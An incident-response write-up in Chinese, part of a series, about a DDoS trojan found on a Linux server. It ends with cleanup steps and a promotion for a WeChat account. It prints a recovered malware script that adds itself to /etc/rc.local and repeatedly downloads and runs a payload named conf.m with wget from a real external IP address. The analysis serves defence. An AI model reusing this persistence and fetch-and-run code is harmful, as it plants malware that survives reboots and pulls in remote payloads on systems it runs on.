第5篇：DDOS病毒

现象描述

某服务器网络资源异常,感染该木马病毒的服务器会占用网络带宽，甚至影响网络业务正常应用。

系统分析

针对日志服务器病毒事件排查情况： 在开机启动项/etc/rc.d/rc.local发现可疑的sh.sh脚本，进一步跟踪sh.sh脚本,这是一个检测病毒十分钟存活的脚本。

在root目录下发现存活检测脚本

```
[root@espctest /]# cd root/
[root@espctest root]# ls
anaconda-ks.cfg  conf.n       install.log.syslog  VMwareTools-9.4.10-2068191.tar.gz  wget
conf.m           install.log  sh.sh               vmware-tools-distrib
[root@espctest root]# more sh.sh
#!/bin/bash
#Welcome like-minded friends to come to exchange.
#We are a group of people who have a dream.
#                qun:10776622
#                2016-06-14

if [ "sh /etc/chongfu.sh &" = "$(cat /etc/rc.local | grep /etc/chongfu.sh | grep -v grep)" ]; then
    echo ""
else
    echo "sh /etc/chongfu.sh &" >> /etc/rc.local
fi

while [ 1 ]; do
    Centos_sshd_killn=$(ps aux | grep "/root/conf.m" | grep -v grep | wc -l)
    if [[ $Centos_sshd_killn -eq 0 ]]; then
        if [ ! -f "/root/conf.m" ]; then
            if [ -f "/usr/bin/wget" ]; then
                cp /usr/bin/wget .
                chmod +x wget
                #./wget -P . http://222.186.21.228:27/conf.m
                ./wget -P /root/  http://222.186.21.228:27/conf.m &> /dev/null
                chmod 755 /root/conf.m
                rm wget -rf
            else
                echo "No wget"
```

解决步骤：

1. 结束进程 ps aux | grep "conf.m" | grep -v grep | awk ‘{print $2}‘| xargs kill -9
2. 清除自动启动脚本 vim /etc/rc.local 去掉 sh /etc/chongfu.sh &
3. 清除 脚本 rm -rf /etc/chongfu.sh /tem/chongfu.sh
4. 修改登录密码 passwd
5. 重启。 reboot

后续持续更新内容，将发布在公众号Bypass--，同时公众号提供了该项目的PDF版本，关注后回复"应急响应" 即可下载。


Bypass